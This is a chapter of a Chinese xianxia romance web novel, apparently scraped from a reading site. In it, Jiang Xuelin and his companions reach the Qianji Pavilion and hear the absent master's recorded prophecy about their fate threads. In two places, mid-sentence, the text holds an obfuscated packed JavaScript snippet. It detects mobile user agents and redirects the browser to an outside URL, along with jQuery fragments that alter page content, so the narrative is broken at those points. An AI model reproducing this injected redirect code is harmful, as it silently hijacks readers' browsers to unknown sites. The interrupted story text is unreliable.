“什么?”裴星垂听到他说的话动作一顿,而后便皱起眉。
灵境于修士而言是无比私密的,除了用来杀敌,就只有无比亲密的爱侣能进去。
从没听说过有谁会误入其中的。
要么灵境的主人是诱敌深入,要么,就是他别有用心。
化神修士在如今的修真界不算少,千机阁的几位长老就是化神,阿粼遇到的会是谁?
他将人放下,一脸严肃,“你没有什么事吧?”
江雪粼摇头,安抚地拍拍他的手,“我没事的师兄,只是进去待了一会,现在已经记不太清那个人的长相,只记得他的眼睛似是有疾,被一根白绸覆盖着。”
“而且……”他总觉得在那处灵境中,很舒服,明明玉髓兰生长的环境极寒,江雪粼却没察觉到冷意,甚至觉得那里的灵力在滋养自己的经脉。
他将这个猜测说了,裴星垂却也不知道这是为什么。
“等到了千机阁,让方风他们去打探一下如今阁中化神修士有哪些。”裴星垂抬手为江雪粼挽发,就听到他的小师弟又说出一个叫他差点心脏骤停的消息。
江雪粼垂着眼,手里摸着簪子上面的纹路,“师兄,那个灵境的主人,他的手上也连着命线。”
他的声音有些低,还带着一些沮丧。
“师兄,如果这命线就连千机阁主也没办法怎么办?”
裴星垂从他手里拿过玉簪,将挽好的发固定住,而后才走到他面前,捧住他的脸让他看着自己,无奈叹一声,“总能找到办法的。”
“答应我,不要因为这些事烦心,好吗?”裴星垂轻轻捏着他的脸,“说不定,经此一行,不但能找到解除的办法,还能解除你身上的寿命诅咒呢。”
“往日不是心态最好了?”裴星垂拉过一个木凳在他旁边坐下,“怎么现在说起丧气话了。”
江雪粼催动灵力,手腕上丝线显现,其中有一根的颜色与众不同,是带着金光的,那是之前裴星垂和镜无漪试图解除时变成这样的。
“就是觉得,大家的因果命线连在我的身上,要是伤害到别人该怎么办?”
“这些人当中甚至还有魔尊。”
“师兄,我有些担心。”
“不是说过了,他们若是要怪罪,就让他们来怪罪我好了。”裴星垂把人揽进自己怀里,怕把刚挽好的发弄乱了,他只是摸摸发尾,柔和安慰,“别怕。”
他知晓江雪粼心中的不安,但这一切其实都因他而起,怪罪不得其他。
若是私自绑定情愿线会酿成无法挽回的大错,那就让祭司将他镇压在神山之下,受剜心之痛,扒筋之苦,永生永世,再也不能回到爱人身边。
裴星垂看着他的小师弟,他的小未婚夫,他的皎皎。
然后低下头,在对方的额心落下一个虔诚的吻,换来对方带着讶异的目光。
裴星垂低低笑起来。
-
两人出门的时候,镜无漪还一脸百无聊赖地坐在道场边,撑着头看着千机阁,几个童子被他使唤的团团转。
一会要喝茶,一会要吃糕点,一会又要看话本。
碍于妖域少主的身份,方风几人即使心中有埋怨也不好说出口,只是小表情一个比一个多。
江雪粼瞧着,扬声喊了一声,“殿下。”
镜无漪连忙抬头,脸上下意识露出笑来,他将手里的话本一扔,方风手忙脚乱接住,再看过去,就见镜无漪几个翻跃落在江雪粼身边,“阿粼,你终于醒了。”
他俨然已经将自己当做了和江雪粼无比亲近的存在,一开口就想指责裴星垂,但不知道想到什么,哼哼两声,“阿粼,你不在,裴师兄总欺负我。”
他今日又换了个风格,开始装起柔弱来,故作不经意的将眼角的伤对着江雪粼,“阿粼,裴师兄这么暴力,以后不会打你吧?”
裴星垂见镜无漪如此做派,嫌恶地偏过头,拳头捏紧,实在怕自己控制不住将人再揍一顿。
他冷呵一声,“那要不要我说你当时做了什么?”
镜无漪气息微顿,“不就是想和小谷主一起睡觉,有什么不行?我都化作原型了,又不是人形模样和他一起睡,你凭什么不让我上床。”
听到他的话,江雪粼露出惊恐的表情,头摇的和拨浪鼓一般了,“不要不要。”
镜无漪不服气,又有些生气,“江皎皎,我现在真的不是滑溜溜的了!”
但小时候带来的阴影还是太过深厚,江雪粼说什么也不松口,“虽然我们都是雄性,但是殿下,睡觉是非常私密的事情,而我也有婚约在身,妖族再怎么不拘小节,你我睡在一起也还是不妥当。”
婚约,婚约,又是这个狗屁婚约。
镜无漪的眼睛像是要喷火,恨不得撕了裴星垂,把这劳什子婚约也一并作废了。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184149|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
明明依照身份,身为妖域少主的他才更配的上江雪粼,不是吗?
他深吸一口气,不服气地说:“婚约也不是不能解除,反正你也不喜欢裴星垂,只是把他当做师兄。”
“你若是愿意和他接触婚约,和我在一起,等回妖域我就叫我爹来提亲。”
江雪粼一脸不解,不知道他为什么会突然说出这样的话,他歪着头,“可是殿下,我也不喜欢你呀。”
“殿下,只是殿下。”
他两辈子都没真正谈过恋爱,上辈子体弱多病,这辈子也不遑多让,若不是爹娘定下的婚约,他没想过会和谁相伴一生。
戚无霜和镜无漪说的也没错,他对师兄没有爱慕之情,只有信任依赖。
可是他不喜欢师兄,也不喜欢他们。
为什么一个两个都想让他和师兄解除婚约然后换个婚约者。
反正是他们的感情都算不上恋慕,师兄对自己也很不错。
若是要江雪粼选,那肯定还是师兄好啊。
但镜无漪不知道他心中怎么想的,脑海里只循环这一句话——
“可是我也不喜欢你呀。”
不喜欢你。
不喜欢。
你。
从小要什么有什么只在江雪粼身上栽过跟头的妖域少主听着这话心仿佛都在滴血了。
“你对我,就半点情意也无?”镜无漪不死心,又问。
江雪粼觉得他今日好是奇怪,怎么一个劲问他这样的问题,再开口,说出的话虽然委婉却也冷酷。
“殿下,你何苦再问我呢。”
镜无漪失魂落魄。
修士踏入金丹期之后便甚少会做梦,若是做梦,很大可能是预知。
昨夜江雪粼睡去之后,镜无漪也罕见的沉入梦想。
梦里红烛帐暖,春宵值千金。
主人公自然是镜无漪和江雪粼两人。
撩开红盖头,就是一张美丽清冷的脸,艳丽的红,灼目的红,漫山遍野的红。
妖域各处都欢喜,红灯笼直将影照川都变成红色的海。
喜乐飘渺,锣鼓声震天,唢呐吹吹打打顺着风吹进耳朵里。
皎皎,他的妻。
水蓝色和桃色的发纠缠在一起,仿佛永远也不会分开。
满心欢喜,欢愉的泪从江雪粼的眼角滑落,顺着白皙的面庞润湿了柔软的枕头。
镜无漪在那片汪洋清澈的绿海里看到了自己的身影,一张俊脸被酒气熏的发红,满心满眼都是他的妻,他的皎皎。
直至黑夜过半,星月都被云层笼罩,只留下浅淡昏暗的光。
镜无漪从梦中醒来,风将房间的窗吹开了,能看见被阵法挡在外面的风雪,卷动着,好似要铺天盖地向他涌来。
多么美丽的梦,多么美妙的梦。
可惜,那只是个梦。
却叫镜无漪生出无法抑制的妄想来。
若是这不单单只是一个梦呢?
而是一个能够预知未来的预言。
就像他和江雪粼手上缠绕的这根命线那一天得知的预言一般。
他会为了江雪粼频频破例,为了他甘愿折损修为,甚至甘愿去死。
他愿意。
19.第 19 章
镜无漪一直到他们的灵舟在渡口停泊他还在想。
他愿意,他愿意的很。
若是能给江皎皎当小,也不是不行。
毕竟妖族确实开放,从不是什么畏畏缩缩的存在,喜欢就去争去抢。
有未婚夫又如何,又没有感情,又不是已经在天地见证之下结契成为道侣。
就算结成道侣也能让他们断缘,不是吗?
镜无漪无比阴暗地想着,盘算着。
-
梦月海的西南域,统称千机阁。
海面上碧波万顷,海雾如纱。
江雪粼他们抵达千机阁的时间是傍晚,光辉如同金穗般洒满波涛,海声呼啸,千机阁的正面便映入帘中。
千机阁占据了海岸线上一处向内凹陷的港湾,免受风浪侵扰。
近距离看,千机阁之上的星盘更加宏伟壮观,笼罩在星盘之下的整座建筑都泛着沉稳厚重的金属光泽,仿佛蛰伏的巨兽。
岸上热闹喧嚣,行人往来都带着机巧法器,江雪粼看的应接不暇。
千机阁域内不限制飞行,空中很多飞舟,各式各样千奇百怪的飞行法器,江雪粼还看到了飞行类妖族。
若不是千机阁的柳师兄将见面地点约定在渡口,他们也不会在渡口停靠,而是直接去往最中心的星象台,从那里进入千机阁内部。
江雪粼被裴星垂紧紧抓着手,生怕他又在自己眼皮子底下消失不见。
镜无漪看着走在自己前面的江雪粼,他的身影被几个童子遮挡住,他的身形看上去是那样的单薄羸弱,桃色的长发柔软无比,被一枚玉簪挽起来,耳垂上的功德金莲耳坠轻轻晃动,泛着金光。
青翠色的眼瞳好似藏着雾的湖,润着水,看人的时候清泠泠仿佛能将人完全看透。
如此瞩目的外貌叫等在一旁的千机阁大弟子柳宿眠一瞬间将他锁定,人未到声先至,清润的声音如林风穿耳,又带着不易察觉的妖冶,“江小谷主,许久不见了,可叫师兄好是想念啊。”
江雪粼循着声音看去,就见到一个打扮的颇为花枝招展的红衣男人。
他身材高挑,面容英俊,却襟口微敞,乌发未高束,只用一根红玉簪松松绾着,人还没到跟前,身上的麝兰香就飘过来了。
裴星垂上前一步,挡在江雪粼面前,面色未变,态度也进退有礼,“柳师兄。”
柳宿眠眉头一挑,手直接扒开裴星垂,“裴师弟,这么忧心我做什么,我又不会对少谷主做什么。”
话是这么说,他却靠近江雪粼像是要将人直接搂进怀里了,“好师弟,有没有想师兄啊?”
江雪粼很想说自己没想,毕竟不论来多少次,柳师兄的热情都叫人有些招架不住!
但江雪粼是个有礼貌的,他笑盈盈拱手作揖,“是有许久未见,师兄还是如此好客。”
柳宿眠是合欢宗宗主柳如眉的儿子,但他过早展现惊人的卜算和机巧制造的天赋,被温不言看中。
但对方再怎么说也是合欢宗少主,哪有那么容易被带走,温不言实在舍不得这么个好苗子,许诺了合欢宗不少好处。
柳如眉得了好处,喜笑颜开地将儿子送到千机阁,让人跟着阁主好好修习。
只是在合欢宗待了几年,耳濡目染,一些生活习性和服饰打扮还是更偏向合欢宗的开放。
“这位是镜无漪殿下吧。”柳宿眠又看向跟在他们身后的人,烟紫色眼眸,水色长发,腰间挂着卷起来的长鞭,若是不错,那便是神级法器缚潮鞭。
镜无漪对江雪粼以外的人都是一张臭脸,看着快要紧贴着江雪粼的柳宿眠,冷哼一声,一颔首,算是打过招呼。
柳宿眠对他的冷脸满不在乎,妖域的人,总是阴晴不定的怪脾气。
哪像江小谷主这么软乎?
也不知道他能不能把江小谷主拐回来,这样想着又得了好似长了第三只眼睛的裴星垂和镜无漪两人的怒视。
好吧好吧,宝物身边总有恶兽。
柳宿眠无声叹气,这宝物带不回来,但给恶兽添些堵倒是没问题的。
柳宿眠心中盘算,面上却不露声色地将几人往千机阁的主殿带。
只不过江雪粼瞧见,柳宿眠的脸上虽然还带笑,笑容却不似方才那般明朗,“你们来的其实有些不巧,师父他老人家有所顿悟,闭死关了。”
他的话叫几人都下意识露出讶异的表情,江雪粼直接开口询问,“怎会如此突然?我们没有收到仙盟的消息。”
仙盟六宗为一体,不管哪个宗门出事都要上报给仙盟,再由仙盟中转,将消息传给其他势力。
仙盟的许多消息在江雪粼爹娘闭关后都是传给裴星垂的,若是裴星垂收到,自然要和他说。
他看向裴星垂,却见对方摇头,显然是没有收到仙盟传过来的消息。
柳宿眠苦笑,“师父闭关突然,让我们好是慌乱了一阵,昨日我们就已经将消息报给仙盟了,裴师弟,你没收到吗?”
裴星垂又去查自己的传讯玉符,没有在上面看到有关信息。
是仙盟那边的问题吗?以往从未有过错漏消息的时候。
裴星垂面色有些难看,但他很快按下,并未说什么。
他不说话,柳宿眠便以为他收到消息,只是漏掉了,只是无奈叹一口气,“你们也知道,修士境界越高,感悟天地法则越难,甚至可能因此走火入魔。”
“师父他已经半步飞升境,此番顿悟闭关,若是不能渡劫飞升,那就……”
他的话没说完,但大家都清楚,若是不能成功渡劫,那温阁主轻则无事出关,重则陨落。
一时间,愁绪蔓延开,还是江雪粼打破僵硬的氛围,“可是我们此次前来是有求于阁主,柳师兄,阁主闭关前,可有给我们留下什么话?”
柳宿眠从思绪中抽身,点头,“师父留下了一块留影石,他说让我在你们抵达千机阁之后将其启动,里面有一道他老人家留下的神识,会解答你们的问题。”
江雪粼闻言,微妙地松了一口气,不管怎么说,有留下消息就好。
因着有要事,江雪粼等人也没想在西南域多逛
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17188569|195853||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,跟着柳宿眠一路抵达主殿。
挥退闲杂人等,设下隔音结界之后,柳宿眠才将他师父留下的留影石拿出来,注入灵力启动它。
周遭灵力波动一瞬,眨眼睛温不言的身影就出现在几人面前。
江雪粼见过几次千机阁主,修仙之人的样貌会定格在步入金丹期的那一瞬。
但不管看多少次,面前这个温文尔雅的年轻男人已经好几千岁了,他就觉得很叫人惊叹。
温不言的眼中满是慈爱,他看着江雪粼,摸摸自己并不存在的胡须,他笑眯眯的和江雪粼打招呼,“江小友,许久不见了,你爹娘可还好?”
“多谢阁主挂念,一切安好。”江雪粼跟着裴星垂对这位老前辈行了一礼,镜无漪没说话,倒也没那么不礼貌,也跟着行礼。
温不言连连点头,“我已知晓你们来意,闭关之前为你们卜算一卦。”
“依卦象所示,我得到一句卦言,星杓铸形,因劫而生,银潢注泻,待器乃成。”
“江小谷主,你所求解之物只待机缘成就,因果回环,自然便会解开。”
江雪粼一头雾水,睁大眼睛看向温不言,试图告诉他,阁主,做谜语人是要被讨伐的!
这卦言说的难道不是北斗七星吗?和自己有什么关系。
还有这命线到底会不会对其他人造成什么伤害也没说,只留下这些似是而非的话。
裴星垂却像是明白了什么,又作一揖,“弟子明白了,多谢阁主解惑。”
江雪粼扭头看向裴星垂,师兄,你又明白什么了?
还没等他将心中疑惑问出来,温不言最后又用一种悲伤的目光看向他的亲传大弟子。
最后那道影子再也没了动静。
柳宿眠的情绪变得低落,裴星垂寻了个借口带着江雪粼和镜无漪离开了。
“师兄,阁主到底是什么意思啊?”
“那句话的意思难道不是星斗铸成勺形,是因世间劫运而生,银河之水倾泻而下,正等待合适的器具来承接引导吗?”
镜无漪看过来,连连摇头,“非也非也。”
“虽我学艺不精,但好歹也学过卜算,千机阁主的意思是,你我的连接看似偶然,实则是某种更大的天命,我们需要共同完成某件事,这条线才有消解的可能。”
江雪粼:“说了和没说一样。”
“这线的来历?为什么会出现?为什么会绑定你我?它到底会不会伤害别人?我们又到底要完成什么事?”
裴星垂安抚地摸摸他的头,“镜无漪说的没错,温阁主的确是这个意思,至于要完成什么事,我也暂时不清楚,现下似乎只能走一步瞧一步了。”
“修士皮糙肉厚,即使受伤也很快就能好,别忧心我们会受伤,现在或许要一边等待时机,一边找到和你绑定的所有人。”
“说不定,等人都找到,我们等的机会就来了呢。”镜无漪抚摸着他自己身侧卷着的鞭子,“啊,看来为了等待机缘,本殿也要和江小谷主一起暂居四象谷了。”
“真遗憾。”